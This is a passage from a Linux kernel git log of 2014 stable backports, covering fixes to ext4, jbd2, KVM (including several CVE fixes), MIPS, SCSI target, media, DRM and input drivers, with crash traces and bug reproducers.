simply on any ext4 filesystem without the LARGE_FILE feature already set: dd if=/dev/zero of=testfile bs=1 seek=2147483646 count=1 \ conv=notrunc of=testfile sync dd if=/dev/zero of=testfile bs=1 seek=2147483647 count=1 \ conv=notrunc of=testfile leads to: EXT4-fs: ext4_do_update_inode:4296: aborting transaction: error 28 in __ext4_handle_dirty_super EXT4-fs error (device loop0) in ext4_do_update_inode:4301: error 28 EXT4-fs error (device loop0) in ext4_reserve_inode_write:4757: Readonly filesystem EXT4-fs error (device loop0) in ext4_dirty_inode:4876: error 28 EXT4-fs error (device loop0) in ext4_da_write_end:2685: error 28 Adjust the number of credits based on whether the flag is already set, and whether the current write may extend past the LARGE_FILE limit. Signed-off-by: Eric Sandeen Signed-off-by: Theodore Ts'o Reviewed-by: Andreas Dilger Signed-off-by: Greg Kroah-Hartman Signed-off-by: Pranav Vashi commit e49aa7c28df9c8f54f8dbd09a513df95d41a1fcd Author: Theodore Ts'o Date: Sun Oct 5 22:56:00 2014 -0400 ext4: add ext4_iget_normal() which is to be used for dir tree lookups commit f4bb2981024fc91b23b4d09a8817c415396dbabb upstream. If there is a corrupted file system which has directory entries that point at reserved, metadata inodes, prohibit them from being used by treating them the same way we treat Boot Loader inodes --- that is, mark them to be bad inodes. This prohibits them from being opened, deleted, or modified via chmod, chown, utimes, etc. In particular, this prevents a corrupted file system which has a directory entry which points at the journal inode from being deleted and its blocks released, after which point Much Hilarity Ensues. Reported-by: Sami Liedes Signed-off-by: Theodore Ts'o Signed-off-by: Greg Kroah-Hartman Signed-off-by: Pranav Vashi commit 8f0fb7e0762e3ae17a9f8f49ed6046b590ab01e3 Author: Dmitry Monakhov Date: Fri Oct 3 12:47:23 2014 -0400 ext4: grab missed write_count for EXT4_IOC_SWAP_BOOT commit 3e67cfad22230ebed85c56cbe413876f33fea82b upstream. Otherwise this provokes complain like follows: WARNING: CPU: 12 PID: 5795 at fs/ext4/ext4_jbd2.c:48 ext4_journal_check_start+0x4e/0xa0() Modules linked in: brd iTCO_wdt lpc_ich mfd_core igb ptp dm_mirror dm_region_hash dm_log dm_mod CPU: 12 PID: 5795 Comm: python Not tainted 3.17.0-rc2-00175-gae5344f #158 Hardware name: Intel Corporation W2600CR/W2600CR, BIOS SE5C600.86B.99.99.x028.061320111235 06/13/2011 0000000000000030 ffff8808116cfd28 ffffffff815c7dfc 0000000000000030 0000000000000000 ffff8808116cfd68 ffffffff8106ce8c ffff8808116cfdc8 ffff880813b16000 ffff880806ad6ae8 ffffffff81202008 0000000000000000 Call Trace: [] dump_stack+0x51/0x6d [] warn_slowpath_common+0x8c/0xc0 [] ? ext4_ioctl+0x9e8/0xeb0 [] warn_slowpath_null+0x1a/0x20 [] ext4_journal_check_start+0x4e/0xa0 [] __ext4_journal_start_sb+0x90/0x110 [] ext4_ioctl+0x9e8/0xeb0 [] ? ptrace_stop+0x24d/0x2f0 [] ? alloc_pid+0x480/0x480 [] ? ptrace_do_notify+0x92/0xb0 [] do_vfs_ioctl+0x4e5/0x550 [] ? _raw_spin_unlock_irq+0x2b/0x40 [] SyS_ioctl+0x53/0x80 [] tracesys+0xd0/0xd5 Reviewed-by: Jan Kara Signed-off-by: Dmitry Monakhov Signed-off-by: Theodore Ts'o Signed-off-by: Greg Kroah-Hartman Signed-off-by: Pranav Vashi commit d06099de42e914b7b4fa544af73de7c2ea8aa252 Author: Jan Kara Date: Thu Sep 18 01:12:15 2014 -0400 ext4: don't check quota format when there are no quota files commit 279bf6d390933d5353ab298fcc306c391a961469 upstream. The check whether quota format is set even though there are no quota files with journalled quota is pointless and it actually makes it impossible to turn off journalled quotas (as there's no way to unset journalled quota format). Just remove the check. Signed-off-by: Jan Kara Signed-off-by: Theodore Ts'o Signed-off-by: Greg Kroah-Hartman Signed-off-by: Pranav Vashi commit 1bbcadc0eb7f560b57547b6b741fa7712543d834 Author: Darrick J. Wong Date: Tue Sep 16 14:34:59 2014 -0400 ext4: check EA value offset when loading commit a0626e75954078cfacddb00a4545dde821170bc5 upstream. When loading extended attributes, check each entry's value offset to make sure it doesn't collide with the entries. Without this check it is easy to crash the kernel by mounting a malicious FS containing a file with an EA wherein e_value_offs = 0 and e_value_size > 0 and then deleting the EA, which corrupts the name list. (See the f_ea_value_crash test's FS image in e2fsprogs for an example.) Signed-off-by: Darrick J. Wong Signed-off-by: Theodore Ts'o Signed-off-by: Greg Kroah-Hartman Signed-off-by: Pranav Vashi commit cc046c1f5edb08ad04f2329b88a7503103df1830 Author: Darrick J. Wong Date: Tue Sep 16 14:43:09 2014 -0400 jbd2: free bh when descriptor block checksum fails commit 064d83892e9ba547f7d4eae22cbca066d95210ce upstream. Free the buffer head if the journal descriptor block fails checksum verification. This is the jbd2 port of the e2fsprogs patch "e2fsck: free bh on csum verify error in do_one_pass". Signed-off-by: Darrick J. Wong Signed-off-by: Theodore Ts'o Reviewed-by: Eric Sandeen Signed-off-by: Greg Kroah-Hartman Signed-off-by: Pranav Vashi commit e106356949b65c067cfb9965e3d470086eca9714 Author: David Daney Date: Mon Oct 20 15:34:23 2014 -0700 MIPS: tlbex: Properly fix HUGE TLB Refill exception handler commit 9e0f162a36914937a937358fcb45e0609ef2bfc4 upstream. In commit 8393c524a25609 (MIPS: tlbex: Fix a missing statement for HUGETLB), the TLB Refill handler was fixed so that non-OCTEON targets would work properly with huge pages. The change was incorrect in that it broke the OCTEON case. The problem is shown here: xxx0: df7a0000 ld k0,0(k1) . . . xxxc0: df610000 ld at,0(k1) xxxc4: 335a0ff0 andi k0,k0,0xff0 xxxc8: e825ffcd bbit1 at,0x5,0x0 xxxcc: 003ad82d daddu k1,at,k0 . . . In the non-octeon case there is a destructive test for the huge PTE bit, and then at 0, $k0 is reloaded (that is what the 8393c524a25609 patch added). In the octeon case, we modify k1 in the branch delay slot, but we never need k0 again, so the new load is not needed, but since k1 is modified, if we do the load, we load from a garbage location and then get a nested TLB Refill, which is seen in userspace as either SIGBUS or SIGSEGV (depending on the garbage). The real fix is to only do this reloading if it is needed, and never where it is harmful. Signed-off-by: David Daney Cc: Huacai Chen Cc: Fuxin Zhang Cc: Zhangjin Wu Cc: linux-mips@linux-mips.org Patchwork: https://patchwork.linux-mips.org/patch/8151/ Signed-off-by: Ralf Baechle Signed-off-by: Greg Kroah-Hartman Signed-off-by: Pranav Vashi commit 3e649cda436ae626516f8bf8f82afba24d5a28d6 Author: Nicholas Bellinger Date: Sat Oct 4 04:23:15 2014 +0000 target: Fix APTPL metadata handling for dynamic MappedLUNs commit e24805637d2d270d7975502e9024d473de86afdb upstream. This patch fixes a bug in handling of SPC-3 PR Activate Persistence across Target Power Loss (APTPL) logic where re-creation of state for MappedLUNs from dynamically generated NodeACLs did not occur during I_T Nexus establishment. It adds the missing core_scsi3_check_aptpl_registration() call during core_tpg_check_initiator_node_acl() -> core_tpg_add_node_to_devs() in order to replay any pre-loaded APTPL metadata state associated with the newly connected SCSI Initiator Port. Cc: Mike Christie Signed-off-by: Nicholas Bellinger Signed-off-by: Greg Kroah-Hartman Signed-off-by: Pranav Vashi commit d1665d1786aef09b344a45ba3286db44f4630ad3 Author: Quinn Tran Date: Thu Sep 25 06:22:28 2014 -0400 target: Fix queue full status NULL pointer for SCF_TRANSPORT_TASK_SENSE commit 082f58ac4a48d3f5cb4597232cb2ac6823a96f43 upstream. During temporary resource starvation at lower transport layer, command is placed on queue full retry path, which expose this problem. The TCM queue full handling of SCF_TRANSPORT_TASK_SENSE currently sends the same cmd twice to lower layer. The 1st time led to cmd normal free path. The 2nd time cause Null pointer access. This regression bug was originally introduced v3.1-rc code in the following commit: commit e057f53308a5f071556ee80586b99ee755bf07f5 Author: Christoph Hellwig Date: Mon Oct 17 13:56:41 2011 -0400 target: remove the transport_qf_callback se_cmd callback Signed-off-by: Quinn Tran Signed-off-by: Saurav Kashyap Signed-off-by: Nicholas Bellinger Signed-off-by: Greg Kroah-Hartman Signed-off-by: Pranav Vashi commit 65e45b2a353d0cd4e1475045837383fbe512a609 Author: Joern Engel Date: Fri Oct 3 14:35:56 2014 -0700 qla_target: don't delete changed nacls commit f4c24db1b7ad0ce84409e15744d26c6f86a96840 upstream. The code is currently riddled with "drop the hardware_lock to avoid a deadlock" bugs that expose races. One of those races seems to expose a valid warning in tcm_qla2xxx_clear_nacl_from_fcport_map. Add some bandaid to it. Signed-off-by: Joern Engel Signed-off-by: Nicholas Bellinger Signed-off-by: Greg Kroah-Hartman Signed-off-by: Pranav Vashi commit 1a46150f2e2bef5e7c8f5ff3fb1a082582922851 Author: Anton Kolesov Date: Thu Sep 25 13:23:24 2014 +0400 ARC: Update order of registers in KGDB to match GDB 7.5 commit ebc0c74e76cec9c4dd860eb0ca1c0b39dc63c482 upstream. Order of registers has changed in GDB moving from 6.8 to 7.5. This patch updates KGDB to work properly with GDB 7.5, though makes it incompatible with 6.8. Signed-off-by: Anton Kolesov Signed-off-by: Vineet Gupta Signed-off-by: Greg Kroah-Hartman Signed-off-by: Pranav Vashi commit 2728fe6ba7d0ccbadd0c6960206883cc1d98e4d7 Author: Vineet Gupta Date: Fri Jun 20 16:24:49 2014 +0530 ARC: [nsimosci] Allow "headless" models to boot commit 5c05483e2db91890faa9a7be0a831701a3f442d6 upstream. There are certain test configuration of virtual platform which don't have any real console device (uart/pgu). So add tty0 as a fallback console device to allow system to boot and be accessible via telnet Otherwise with ttyS0 as only console, but 8250 disabled in kernel build, init chokes. Reported-by: Anton Kolesov Signed-off-by: Vineet Gupta Signed-off-by: Greg Kroah-Hartman Signed-off-by: Pranav Vashi commit 4f4835badddbb32682a6935c8a852092b90d3aef Author: Nadav Amit Date: Thu Sep 18 22:39:38 2014 +0300 KVM: x86: Emulator fixes for eip canonical checks on near branches commit 234f3ce485d54017f15cf5e0699cff4100121601 upstream. Before changing rip (during jmp, call, ret, etc.) the target should be asserted to be canonical one, as real CPUs do. During sysret, both target rsp and rip should be canonical. If any of these values is noncanonical, a #GP exception should occur. The exception to this rule are syscall and sysenter instructions in which the assigned rip is checked during the assignment to the relevant MSRs. This patch fixes the emulator to behave as real CPUs do for near branches. Far branches are handled by the next patch. This fixes CVE-2014-3647. Signed-off-by: Nadav Amit Signed-off-by: Paolo Bonzini Signed-off-by: Greg Kroah-Hartman Signed-off-by: Pranav Vashi commit 51872d9687db13b0c03e8a5153d26fea7cf12800 Author: Nadav Amit Date: Thu Sep 18 22:39:37 2014 +0300 KVM: x86: Fix wrong masking on relative jump/call commit 05c83ec9b73c8124555b706f6af777b10adf0862 upstream. Relative jumps and calls do the masking according to the operand size, and not according to the address size as the KVM emulator does today. This patch fixes KVM behavior. Signed-off-by: Nadav Amit Signed-off-by: Paolo Bonzini Signed-off-by: Greg Kroah-Hartman Signed-off-by: Pranav Vashi commit 418a6968a4503b4efd5af1608e1274fca5316bd4 Author: Michael S. Tsirkin Date: Thu Sep 18 16:21:16 2014 +0300 kvm: x86: don't kill guest on unknown exit reason commit 2bc19dc3754fc066c43799659f0d848631c44cfe upstream. KVM_EXIT_UNKNOWN is a kvm bug, we don't really know whether it was triggered by a priveledged application. Let's not kill the guest: WARN and inject #UD instead. Signed-off-by: Michael S. Tsirkin Signed-off-by: Paolo Bonzini Signed-off-by: Greg Kroah-Hartman Signed-off-by: Pranav Vashi commit 151e515fc9a223450e8bd3ab23eba5a0e905e2eb Author: Nadav Amit Date: Tue Sep 16 03:24:05 2014 +0300 KVM: x86: Check non-canonical addresses upon WRMSR commit 854e8bb1aa06c578c2c9145fa6bfe3680ef63b23 upstream. Upon WRMSR, the CPU should inject #GP if a non-canonical value (address) is written to certain MSRs. The behavior is "almost" identical for AMD and Intel (ignoring MSRs that are not implemented in either architecture since they would anyhow #GP). However, IA32_SYSENTER_ESP and IA32_SYSENTER_EIP cause #GP if non-canonical address is written on Intel but not on AMD (which ignores the top 32-bits). Accordingly, this patch injects a #GP on the MSRs which behave identically on Intel and AMD. To eliminate the differences between the architecutres, the value which is written to IA32_SYSENTER_ESP and IA32_SYSENTER_EIP is turned to canonical value before writing instead of injecting a #GP. Some references from Intel and AMD manuals: According to Intel SDM description of WRMSR instruction #GP is expected on WRMSR "If the source register contains a non-canonical address and ECX specifies one of the following MSRs: IA32_DS_AREA, IA32_FS_BASE, IA32_GS_BASE, IA32_KERNEL_GS_BASE, IA32_LSTAR, IA32_SYSENTER_EIP, IA32_SYSENTER_ESP." According to AMD manual instruction manual: LSTAR/CSTAR (SYSCALL): "The WRMSR instruction loads the target RIP into the LSTAR and CSTAR registers. If an RIP written by WRMSR is not in canonical form, a general-protection exception (#GP) occurs." IA32_GS_BASE and IA32_FS_BASE (WRFSBASE/WRGSBASE): "The address written to the base field must be in canonical form or a #GP fault will occur." IA32_KERNEL_GS_BASE (SWAPGS): "The address stored in the KernelGSbase MSR must be in canonical form." This patch fixes CVE-2014-3610. Signed-off-by: Nadav Amit Signed-off-by: Paolo Bonzini Signed-off-by: Greg Kroah-Hartman Signed-off-by: Pranav Vashi commit 1a2e1544630d12604f55f6076fa75ed5c57cd73c Author: Andy Honig Date: Wed Aug 27 14:42:54 2014 -0700 KVM: x86: Improve thread safety in pit commit 2febc839133280d5a5e8e1179c94ea674489dae2 upstream. There's a race condition in the PIT emulation code in KVM. In __kvm_migrate_pit_timer the pit_timer object is accessed without synchronization. If the race condition occurs at the wrong time this can crash the host kernel. This fixes CVE-2014-3611. Signed-off-by: Andrew Honig Signed-off-by: Paolo Bonzini Signed-off-by: Greg Kroah-Hartman Signed-off-by: Pranav Vashi commit 8b264139c8bbaaa160ddf9caa53ba430077b91f8 Author: Andy Honig Date: Wed Aug 27 11:16:44 2014 -0700 KVM: x86: Prevent host from panicking on shared MSR writes. commit 8b3c3104c3f4f706e99365c3e0d2aa61b95f969f upstream. The previous patch blocked invalid writes directly when the MSR is written. As a precaution, prevent future similar mistakes by gracefulling handle GPs caused by writes to shared MSRs. Signed-off-by: Andrew Honig [Remove parts obsoleted by Nadav's patch. - Paolo] Signed-off-by: Paolo Bonzini Signed-off-by: Greg Kroah-Hartman Signed-off-by: Pranav Vashi commit c314cdc60850e21a56d57dbd38547b677d315f91 Author: Quentin Casasnovas Date: Fri Oct 17 22:55:59 2014 +0200 kvm: fix excessive pages un-pinning in kvm_iommu_map error path. commit 3d32e4dbe71374a6780eaf51d719d76f9a9bf22f upstream. The third parameter of kvm_unpin_pages() when called from kvm_iommu_map_pages() is wrong, it should be the number of pages to un-pin and not the page size. This error was facilitated with an inconsistent API: kvm_pin_pages() takes a size, but kvn_unpin_pages() takes a number of pages, so fix the problem by matching the two. This was introduced by commit 350b8bd ("kvm: iommu: fix the third parameter of kvm_iommu_put_pages (CVE-2014-3601)"), which fixes the lack of un-pinning for pages intended to be un-pinned (i.e. memory leak) but unfortunately potentially aggravated the number of pages we un-pin that should have stayed pinned. As far as I understand though, the same practical mitigations apply. This issue was found during review of Red Hat 6.6 patches to prepare Ksplice rebootless updates. Thanks to Vegard for his time on a late Friday evening to help me in understanding this code. Fixes: 350b8bd ("kvm: iommu: fix the third parameter of... (CVE-2014-3601)") Signed-off-by: Quentin Casasnovas Signed-off-by: Vegard Nossum Signed-off-by: Jamie Iles Reviewed-by: Sasha Levin Signed-off-by: Paolo Bonzini Signed-off-by: Greg Kroah-Hartman Signed-off-by: Pranav Vashi commit 76a995ae8aa802272dc5bb146ec4fd671c709743 Author: Axel Lin Date: Fri Aug 8 10:32:56 2014 -0300 media: tda7432: Fix setting TDA7432_MUTE bit for TDA7432_RF register commit 91ba0e59babdb3c7aca836a65f1095b3eaff7b06 upstream. Fix a copy-paste bug when converting to the control framework. Fixes: commit 5d478e0de871 ("[media] tda7432: convert to the control framework") Signed-off-by: Axel Lin Signed-off-by: Mauro Carvalho Chehab Signed-off-by: Greg Kroah-Hartman Signed-off-by: Pranav Vashi commit 67356065ae373b7daf23cc6cb56708d91b093da5 Author: Ulrich Eckhardt Date: Fri Oct 10 14:19:12 2014 -0300 media: ds3000: fix LNB supply voltage on Tevii S480 on initialization commit 8c5bcded11cb607b1bb5920de3b9c882136d27db upstream. The Tevii S480 outputs 18V on startup for the LNB supply voltage and does not automatically power down. This blocks other receivers connected to a satellite channel router (EN50494), since the receivers can not send the required DiSEqC sequences when the Tevii card is connected to a the same SCR. This patch switches off the LNB supply voltage on initialization of the frontend. [mchehab@osg.samsung.com: add a comment about why we're explicitly turning off voltage at device init] Signed-off-by: Ulrich Eckhardt Signed-off-by: Mauro Carvalho Chehab Signed-off-by: Greg Kroah-Hartman Signed-off-by: Pranav Vashi commit dea4cf5bfe80e79fd159bfb431c1f827dd875696 Author: Frank Schaefer Date: Sat Aug 9 06:37:20 2014 -0300 media: em28xx-v4l: give back all active video buffers to the vb2 core properly on streaming stop commit 627530c32a43283474e9dd3e954519410ffa033a upstream. When a new video frame is started, the driver takes the next video buffer from the list of active buffers and moves it to dev->usb_ctl.vid_buf / dev->usb_ctl.vbi_buf for further processing. On streaming stop we currently only give back the pending buffers from the list but not the ones which are currently processed. This causes the following warning from the vb2 core since kernel 3.15: ... ------------[ cut here ]------------ WARNING: CPU: 1 PID: 2284 at drivers/media/v4l2-core/videobuf2-core.c:2115 __vb2_queue_cancel+0xed/0x150 [videobuf2_core]() [...] Call Trace: [] dump_stack+0x48/0x69 [] warn_slowpath_common+0x79/0x90 [] ? __vb2_queue_cancel+0xed/0x150 [videobuf2_core] [] ? __vb2_queue_cancel+0xed/0x150 [videobuf2_core] [] warn_slowpath_null+0x1d/0x20 [] __vb2_queue_cancel+0xed/0x150 [videobuf2_core] [] vb2_internal_streamoff+0x35/0x90 [videobuf2_core] [] vb2_streamoff+0x35/0x60 [videobuf2_core] [] vb2_ioctl_streamoff+0x37/0x40 [videobuf2_core] [] v4l_streamoff+0x15/0x20 [videodev] [] __video_do_ioctl+0x23d/0x2d0 [videodev] [] ? video_ioctl2+0x20/0x20 [videodev] [] video_usercopy+0x203/0x5a0 [videodev] [] ? video_ioctl2+0x20/0x20 [videodev] [] ? fsnotify+0x1e7/0x2b0 [] video_ioctl2+0x12/0x20 [videodev] [] ? video_ioctl2+0x20/0x20 [videodev] [] v4l2_ioctl+0xee/0x130 [videodev] [] ? v4l2_open+0xf0/0xf0 [videodev] [] do_vfs_ioctl+0x2e2/0x4d0 [] ? vfs_write+0x13c/0x1c0 [] ? vfs_writev+0x2f/0x50 [] SyS_ioctl+0x58/0x80 [] sysenter_do_call+0x12/0x12 ---[ end trace 5545f934409f13f4 ]--- ... Many thanks to Hans Verkuil, whose recently added check in the vb2 core unveiled this long standing issue and who has investigated it further. Signed-off-by: Frank Schäfer Signed-off-by: Mauro Carvalho Chehab Signed-off-by: Greg Kroah-Hartman Signed-off-by: Pranav Vashi commit 3b0306bd35adbd083e7f67e3517623c442c14473 Author: Maciej Matraszek Date: Mon Sep 15 05:14:48 2014 -0300 media: v4l2-common: fix overflow in v4l_bound_align_image() commit 3bacc10cd4a85bc70bc0b6c001d3bf995c7fe04c upstream. Fix clamp_align() used in v4l_bound_align_image() to prevent overflow when passed large value like UINT32_MAX. In the current implementation: clamp_align(UINT32_MAX, 8, 8192, 3) returns 8, because in line: x = (x + (1 << (align - 1))) & mask; x overflows to (-1 + 4) & 0x7 = 3, while expected value is 8192. v4l_bound_align_image() is heavily used in VIDIOC_S_FMT and VIDIOC_SUBDEV_S_FMT ioctls handlers, and documentation of the latter explicitly states that: "The modified format should be as close as possible to the original request." -- http://linuxtv.org/downloads/v4l-dvb-apis/vidioc-subdev-g-fmt.html Thus one would expect, that passing UINT32_MAX as format width and height will result in setting maximum possible resolution for the device. Particularly, when the driver doesn't support VIDIOC_ENUM_FRAMESIZES ioctl, which is common in the codebase. Fixes changeset: b0d3159be9a3 Signed-off-by: Maciej Matraszek Acked-by: Sakari Ailus Signed-off-by: Mauro Carvalho Chehab Signed-off-by: Greg Kroah-Hartman Signed-off-by: Pranav Vashi commit 139dee973bfe134fa29ce8d6fd1372244da060af Author: Ben Skeggs Date: Mon Sep 8 10:33:32 2014 +1000 drm/nouveau/bios: memset dcb struct to zero before parsing commit 595d373f1e9c9ce0fc946457fdb488e8a58972cd upstream. Fixes type/mask calculation being based on uninitialised data for VGA outputs. Signed-off-by: Ben Skeggs Signed-off-by: Greg Kroah-Hartman Signed-off-by: Pranav Vashi commit 659f18c8939d4ea334bfe98c7d26bfdd11593251 Author: Ezequiel Garcia Date: Tue Sep 2 09:51:15 2014 -0300 drm/tilcdc: Fix the error path in tilcdc_load() commit b478e336b3e75505707a11e78ef8b964ef0a03af upstream. The current error path calls tilcdc_unload() in case of an error to release the resources. However, this is wrong because not all resources have been allocated by the time an error occurs in tilcdc_load(). To fix it, this commit adds proper labels to bail out at the different stages in the load function, and release only the resources actually allocated. Tested-by: Darren Etheridge Tested-by: Johannes Pointner Signed-off-by: Ezequiel Garcia Signed-off-by: Dave Airlie Fixes: 3a49012224ca ("drm/tilcdc: panel: fix leak when unloading the module") Signed-off-by: Matwey V. Kornilov Signed-off-by: Greg Kroah-Hartman Signed-off-by: Pranav Vashi commit 54260552d0134ddf96d6049372414687aef90217 Author: Benjamin Herrenschmidt Date: Tue Oct 7 19:04:58 2014 +1100 drm/ast: Fix HW cursor image commit 1e99cfa8de0f0879091e33cd65fd60418d006ad9 upstream. The translation from the X driver to the KMS one typo'ed a couple of array indices, causing the HW cursor to look weird (blocky with leaking edge colors). This fixes it. Signed-off-by: Benjamin Herrenschmidt Signed-off-by: Dave Airlie Signed-off-by: Greg Kroah-Hartman Signed-off-by: Pranav Vashi commit 1478a4caaed59dc802f1e276ffc5be7ba0a1faa7 Author: Hans de Goede Date: Fri Oct 24 14:55:24 2014 -0700 Input: i8042 - quirks for Fujitsu Lifebook A544 and Lifebook AH544 commit 993b3a3f80a7842a48cd46c2b41e1b3ef6302468 upstream. These models need i8042.notimeout, otherwise the touchpad will not work. BugLink: https://bugzilla.kernel.org/show_bug.cgi?id=69731 BugLink: https://bugzilla.redhat.com/show_bug.cgi?id=1111138 Signed-off-by: Hans de Goede Signed-off-by: Dmitry Torokhov Signed-off-by: Greg Kroah-Hartman Signed-off-by: Pranav Vashi commit fd06a0873430ddb0c26f255c1cec63810cceba43 Author: Hans de Goede Date: Sat Oct 11 11:27:37 2014 -0700 Input: i8042 - add noloop quirk for Asus X750LN commit 9ff84a17302aeb8913ff244ecc0d8f9d219fecb5 upstream. Without this the aux port does not get detected, and consequently the touchpad will not work. https://bugzilla.redhat.com/show_bug.cgi?id=1110011 Signed-off-by: Hans de Goede Signed-off-by: Dmitry Torokhov Signed-off-by: Greg Kroah-Hartman Signed-off-by: Pranav Vashi commit ec467d244dec0b1a93950781d313ebada1e865a9 Author: Mikulas Patocka Date: Tue Sep 16 12:40:26 2014 -0400 framebuffer: fix border color commit f74a289b9480648a654e5afd8458c2263c03a1e1 upstream. The framebuffer code uses the current background color to fill the border when switching consoles, however, this results in inconsistent behavior. For example: - start Midnigh Commander - the border is black - switch to another console and switch back - the border is cyan - type something into the command line in mc - the border is cyan - switch to another console and switch back - the border is black - press F9 to go to menu - the border is black - switch to another console and switch back - the border is dark blue When switching to a console with Midnight Commander, the border is random color that was left selected by the slang subsystem. This patch fixes this inconsistency by always using black as the background color when switching consoles. Signed-off-by: Mikulas Patocka Signed-off-by: Tomi Valkeinen Signed-off-by: Greg Kroah-Hartman Signed-off-by: Pranav Vashi commit 56a1ea8ded3b99329a594cfe80e45a1411a95563 Author: Prarit Bhargava Date: Tue Oct 14 02:51:39 2014 +1030 modules, lock around setting of MODULE_STATE_UNFORMED commit d3051b489aa81ca9ba62af366149ef42b8dae97c upstream. A panic was seen in the following sitation. There are two threads running on the system. The first thread is a system monitoring thread that is reading /proc/modules. The second thread is loading and unloading a module (in this example I'm using my simple dummy-module.ko). Note, in the "real world" this occurred with the qlogic driver module. When doing this, the following panic occurred: ------------[ cut here ]------------ kernel BUG at kernel/module.c:3739! invalid opcode: 0000 [#1] SMP Modules linked in: binfmt_misc sg nfsv3 rpcsec_gss_krb5 nfsv4 dns_resolver nfs fscache intel_powerclamp coretemp kvm_intel kvm crct10dif_pclmul crc32_pclmul crc32c_intel ghash_clmulni_intel aesni_intel lrw igb gf128mul glue_helper iTCO_wdt iTCO_vendor_support ablk_helper ptp sb_edac cryptd pps_core edac_core shpchp i2c_i801 pcspkr wmi lpc_ich ioatdma mfd_core dca ipmi_si nfsd ipmi_msghandler auth_rpcgss nfs_acl lockd sunrpc xfs libcrc32c sr_mod cdrom sd_mod crc_t10dif crct10dif_common mgag200 syscopyarea sysfillrect sysimgblt i2c_algo_bit drm_kms_helper ttm isci drm libsas ahci libahci scsi_transport_sas libata i2c_core dm_mirror dm_region_hash dm_log dm_mod [last unloaded: dummy_module] CPU: 37 PID: 186343 Comm: cat Tainted: GF O-------------- 3.10.0+ #7 Hardware name: Intel Corporation S2600CP/S2600CP, BIOS RMLSDP.86I.00.29.D696.1311111329 11/11/2013 task: ffff8807fd2d8000 ti: ffff88080fa7c000 task.ti: ffff88080fa7c000 RIP: 0010:[] [] module_flags+0xb5/0xc0 RSP: 0018:ffff88080fa7fe18 EFLAGS: 00010246 RAX: 0000000000000003 RBX: ffffffffa03b5200 RCX: 0000000000000000 RDX: 0000000000001000 RSI: ffff88080fa7fe38 RDI: ffffffffa03b5000 RBP: ffff88080fa7fe28 R08: 0000000000000010 R09: 0000000000000000 R10: 0000000000000000 R11: 000000000000000f R12: ffffffffa03b5000 R13: ffffffffa03b5008 R14: ffffffffa03b5200 R15: ffffffffa03b5000 FS: 00007f6ae57ef740(0000) GS:ffff88101e7a0000(0000) knlGS:0000000000000000 CS: 0010 DS: 0000 ES: 0000 CR0: 0000000080050033 CR2: 0000000000404f70 CR3: 0000000ffed48000 CR4: 00000000001407e0 DR0: 0000000000000000 DR1: 0000000000000000 DR2: 0000000000000000 DR3: 0000000000000000 DR6: 00000000ffff0ff0 DR7: 0000000000000400 Stack: ffffffffa03b5200 ffff8810101e4800 ffff88080fa7fe70 ffffffff810d666c ffff88081e807300 000000002e0f2fbf 0000000000000000 ffff88100f257b00 ffffffffa03b5008 ffff88080fa7ff48 ffff8810101e4800 ffff88080fa7fee0 Call Trace: [] m_show+0x19c/0x1e0 [] seq_read+0x16e/0x3b0 [] proc_reg_read+0x3d/0x80 [] vfs_read+0x9c/0x170 [] SyS_read+0x58/0xb0 [] system_call_fastpath+0x16/0x1b Code: 48 63 c2 83 c2 01 c6 04 03 29 48 63 d2 eb d9 0f 1f 80 00 00 00 00 48 63 d2 c6 04 13 2d 41 8b 0c 24 8d 50 02 83 f9 01 75 b2 eb cb <0f> 0b 66 0f 1f 84 00 00 00 00 00 0f 1f 44 00 00 55 48 89 e5 41 RIP [] module_flags+0xb5/0xc0 RSP Consider the two processes running on the system. CPU 0 (/proc/modules reader) CPU 1 (loading/unloading module) CPU 0 opens /proc/modules, and starts displaying data for each module by traversing the modules list via fs/seq_file.c:seq_open() and fs/seq_file.c:seq_read(). For each module in the modules list, seq_read does op->start() <-- this is a pointer to m_start() op->show() <- this is a pointer to m_show() op->stop() <-- this is a pointer to m_stop() The m_start(), m_show(), and m_stop() module functions are defined in kernel/module.c. The m_start() and m_stop() functions acquire and release the module_mutex respectively. ie) When reading /proc/modules, the module_mutex is acquired and released for each module. m_show() is called with the module_mutex held. It accesses the module struct data and attempts to write out module data. It is in this code path that the above BUG_ON() warning is encountered, specifically m_show() calls static char *module_flags(struct module *mod, char *buf) { int bx = 0; BUG_ON(mod->state == MODULE_STATE_UNFORMED); ... The other thread, CPU 1, in unloading the module calls the syscall delete_module() defined in kernel/module.c. The module_mutex is acquired for a short time, and then released. free_module() is called without the module_mutex. free_module() then sets mod->state = MODULE_STATE_UNFORMED, also without the module_mutex. Some additional code is called and then the module_mutex is reacquired to remove the module from the modules list: /* Now we can delete it from the lists */ mutex_lock(&module_mutex); stop_machine(__unlink_module, mod, NULL); mutex_unlock(&module_mutex); This is the sequence of events that leads to the panic. CPU 1 is removing dummy_module via delete_module(). It acquires the module_mutex, and then releases it. CPU 1 has NOT set dummy_module->state to MODULE_STATE_UNFORMED yet. CPU 0, which is reading the /proc/modules, acquires the module_mutex and acquires a pointer to the dummy_module which is still in the modules list. CPU 0 calls m_show for dummy_module. The check in m_show() for MODULE_STATE_UNFORMED passed for dummy_module even though it is being torn down. Meanwhile CPU 1, which has been continuing to remove dummy_module without holding the module_mutex, now calls free_module() and sets dummy_module->state to MODULE_STATE_UNFORMED. CPU 0 now calls module_flags() with dummy_module and ... static char *module_flags(struct module *mod, char *buf) { int bx = 0; BUG_ON(mod->state == MODULE_STATE_UNFORMED); and BOOM. Acquire and release the module_mutex lock around the setting of MODULE_STATE_UNFORMED in the teardown path, which should resolve the problem. Testing: In the unpatched kernel I can panic the system within 1 minute by doing while (true) do insmod dummy_module.ko; rmmod dummy_module.ko; done and while (true) do cat /proc/modules; done in separate terminals. In the patched kernel I was able to run just over one hour without seeing any issues. I also verified the output of panic via sysrq-c and the output of /proc/modules looks correct for all three states for the dummy_module. dummy_module 12661 0 - Unloading 0xffffffffa03a5000 (OE-) dummy_module 12661 0 - Live 0xffffffffa03bb000 (OE) dummy_module 14015 1 - Loading 0xffffffffa03a5000 (OE+) Signed-off-by: Prarit Bhargava Reviewed-by: Oleg Nesterov Signed-off-by: Rusty Russell Signed-off-by: Greg Kroah-Hartman Signed-off-by: Pranav Vashi commit be52f0fd8c3aa7c7f9dd8e387d1cae707a85f279 Author: Alexey Khoroshilov Date: Wed Oct 1 22:58:35 2014 +0200 dm log userspace: fix memory leak in dm_ulog_tfr_init failure path commit 56ec16cb1e1ce46354de8511eef962a417c32c92 upstream. If cn_add_callback() fails in dm_ulog_tfr_init(), it does not deallocate prealloced memory but calls cn_del_callback(). Found by Linux Driver 